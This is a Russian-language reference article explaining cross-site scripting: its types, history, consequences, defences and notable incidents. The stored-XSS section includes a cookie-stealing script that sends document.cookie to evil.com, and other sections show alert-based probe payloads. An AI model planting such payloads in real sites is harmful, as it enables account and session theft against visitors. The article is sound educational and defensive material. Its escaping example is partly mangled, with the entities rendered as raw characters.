XSS-атака
XSS-атака (от англ. Cross-Site Scripting, «межсайтовый скриптинг») — это тип атаки на веб-приложения, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (обычно на языке JavaScript), который выполняется в браузере пользователя. XSS-атаки относятся к классу инъекций и являются одной из самых распространённых уязвимостей веб-сайтов. В результате атаки злоумышленник может получить доступ к сессионным данным, куки-файлам, личной информации пользователя, перенаправить его на фишинговый сайт или выполнить другие действия от имени жертвы.
История
Термин «межсайтовый скриптинг» был впервые введён в 2000 году специалистами по безопасности из компании Microsoft. Изначально уязвимость была обнаружена в веб-почте и форумах, где пользовательский ввод отображался без фильтрации. Первая задокументированная XSS-атака произошла в 1999 году на сайте eBay, когда злоумышленники внедрили JavaScript-код в описание лота.
С развитием веб-технологий, особенно с появлением AJAX и одностраничных приложений (SPA), количество XSS-уязвимостей возросло. В 2005 году червь Samy поразил социальную сеть MySpace, используя хранимую XSS-уязвимость, и за сутки заразил более миллиона профилей. В 2010-х годах XSS-атаки стали массово применяться для кражи cookie-файлов и обхода защиты CSRF. По данным OWASP, XSS остаётся в десятке наиболее критичных веб-уязвимостей на протяжении последних 20 лет.
Классификация
XSS-атаки делятся на три основных типа в зависимости от способа хранения и отображения вредоносного кода.
Отражённая XSS (Reflected XSS)
При отражённой XSS вредоносный код передаётся на сервер в составе HTTP-запроса (например, в URL-параметре) и немедленно отображается в ответе сервера без сохранения. Для успешной атаки злоумышленник должен заставить жертву перейти по специально сформированной ссылке. Пример: сайт поиска отображает введённый запрос на странице результатов без экранирования. Если в запросе содержится <script>alert(1)</script>, браузер выполнит этот код.
Хранимая XSS (Stored XSS)
При хранимой XSS вредоносный код навсегда сохраняется на сервере (например, в базе данных, файле конфигурации, комментарии к статье) и отображается всем пользователям, открывающим соответствующую страницу. Это наиболее опасный тип, так как не требует прямого воздействия на жертву. Пример: злоумышленник оставляет комментарий на форуме с кодом <script>document.location='http://evil.com/?cookie='+document.cookie</script>`. Каждый посетитель страницы с этим комментарием отправит свои cookie-файлы злоумышленнику.
DOM-based XSS (на основе DOM)
В этом типе атаки вредоносный код не отправляется на сервер, а выполняется непосредственно в браузере через манипуляцию объектной моделью документа (DOM). Уязвимость возникает, когда клиентский JavaScript-скрипт некорректно обрабатывает данные из источника (например, document.location.hash, window.name, localStorage) и вставляет их в «приёмник» (например, innerHTML, document.write). Пример: скрипт считывает хеш URL и вставляет его в элемент div через innerHTML. Если хеш содержит <img src=x onerror=alert(1)>, код выполнится.
Механизм атаки
Общий сценарий XSS-атаки включает три этапа:
- Внедрение — злоумышленник находит способ вставить вредоносный код в веб-страницу (через форму ввода, URL-параметр, HTTP-заголовок и т.д.).
- Распространение — код доставляется браузеру жертвы. При отражённой XSS это происходит через ссылку; при хранимой — через просмотр страницы; при DOM-based — через клиентский скрипт.
- Исполнение — браузер жертвы интерпретирует код как часть HTML-документа и выполняет его. Злоумышленник получает доступ к данным, доступным в контексте этого документа.
Последствия
Успешная XSS-атака может привести к:
- Краже сессионных данных — злоумышленник получает cookie-файлы жертвы и может войти в её аккаунт без пароля.
- Фишингу — подмена содержимого страницы для сбора логинов, паролей, банковских данных.
- Распространению вредоносного ПО — через внедрение скрипта, загружающего и запускающего троян или кейлоггер.
- Дефейсу — изменение внешнего вида сайта (например, размещение оскорбительных изображений).
- DDoS-атакам — использование браузеров жертв для отправки запросов на целевой сервер.
Защита
Защита от XSS-атак строится на нескольких принципах.
Валидация и санитизация ввода
- Экранирование (escaping) — замена специальных символов HTML (
<,>,&,",') на их безопасные сущности (<,>,&,",'). Должно применяться на стороне сервера и клиента. - Фильтрация — удаление или блокировка опасных тегов (например,
<script>,onerror,javascript:). Используются белые списки разрешённых тегов и атрибутов. - Валидация типа данных — проверка, что вводимое значение соответствует ожидаемому формату (например, только цифры для возраста, email-адрес для поля почты).
Контекстно-зависимая обработка
Опасные символы экранируются в зависимости от контекста: HTML-тело, атрибуты, JavaScript, CSS, URL. Например, в атрибуте href необходимо проверять протокол (только http://https://), а не только экранировать кавычки. или
HTTP-заголовки безопасности
- Content-Security-Policy (CSP) — заголовок, ограничивающий источники скриптов, стилей и других ресурсов. Например,
Content-Security-Policy: script-src 'self'запретит выполнение любых внешних скриптов, включая inline-скрипты. - X-XSS-Protection — устаревший заголовок (включённый в браузеры), но может использоваться для включения встроенного фильтра XSS в браузере (например,
X-XSS-Protection: 1; mode=block). - HttpOnly cookie — флаг, запрещающий доступ к cookie-файлам через JavaScript (атрибут
HttpOnly). Это не защищает от XSS, но предотвращает кражу cookie.
Безопасное программирование
- Использование современных фреймворков (React, Angular, Vue), которые автоматически экранируют ввод в шаблонах.
- Избегание опасных функций:
innerHTML,document.write,eval,setTimeoutсо строковым аргументом. - Использование API для безопасного создания DOM-элементов:
document.createElement,textContentвместоinnerHTML.
Примеры известных атак
- Samy (2005) — червь, поразивший MySpace через хранимую XSS. Внедрённый код копировал себя в профили друзей жертвы, что привело к масштабному заражению.
- XSS на Yahoo Mail (2013) — злоумышленники использовали уязвимость в обработке вложений для кражи cookie-файлов. Атака затронула миллионы пользователей.
- XSS на eBay (2016) — хранимая XSS в описании товаров позволяла злоумышленникам перенаправлять покупателей на фишинговые страницы.
Интересные факты
- XSS-атаки могут быть использованы для обхода защиты CSRF, так как скрипт выполняется в контексте доверенного сайта.
- Существуют автоматизированные сканеры XSS-уязвимостей (например, OWASP ZAP, Burp Suite), которые тестируют веб-приложения на наличие инъекций.
- В 2017 году OWASP включил XSS в список Top 10 Web Application Security Risks под номером 7.
Критика
Некоторые специалисты считают, что термин «межсайтовый скриптинг» вводит в заблуждение, так как атака не обязательно требует взаимодействия между разными сайтами (например, DOM-based XSS может быть полностью внутри одного домена). Также критикуется подход «чёрных списков» для фильтрации тегов, так как он часто оказывается неполным (злоумышленники используют обфускацию, кодирование, новые атрибуты HTML5). Более надёжной считается стратегия «белых списков» и контекстного экранирования.
Источники
- OWASP Cross-Site Scripting (XSS) — OWASP Foundation, 2023.
- «The Web Application Hacker's Handbook» — D. Stuttard, M. Pinto, 2011.
- «XSS Attacks: Cross Site Scripting Exploits and Defense» — S. Fogie, J. Grossman, R. Hansen, A. Rager, 2007.
- CWE-79: Improper Neutralization of Input During Web Page Generation — MITRE, 2023.
- «Browser Security Handbook» — M. Zalewski, 2009.
BFOmetr — база данных и аналитика по компаниям России.
На главную BFOmetr →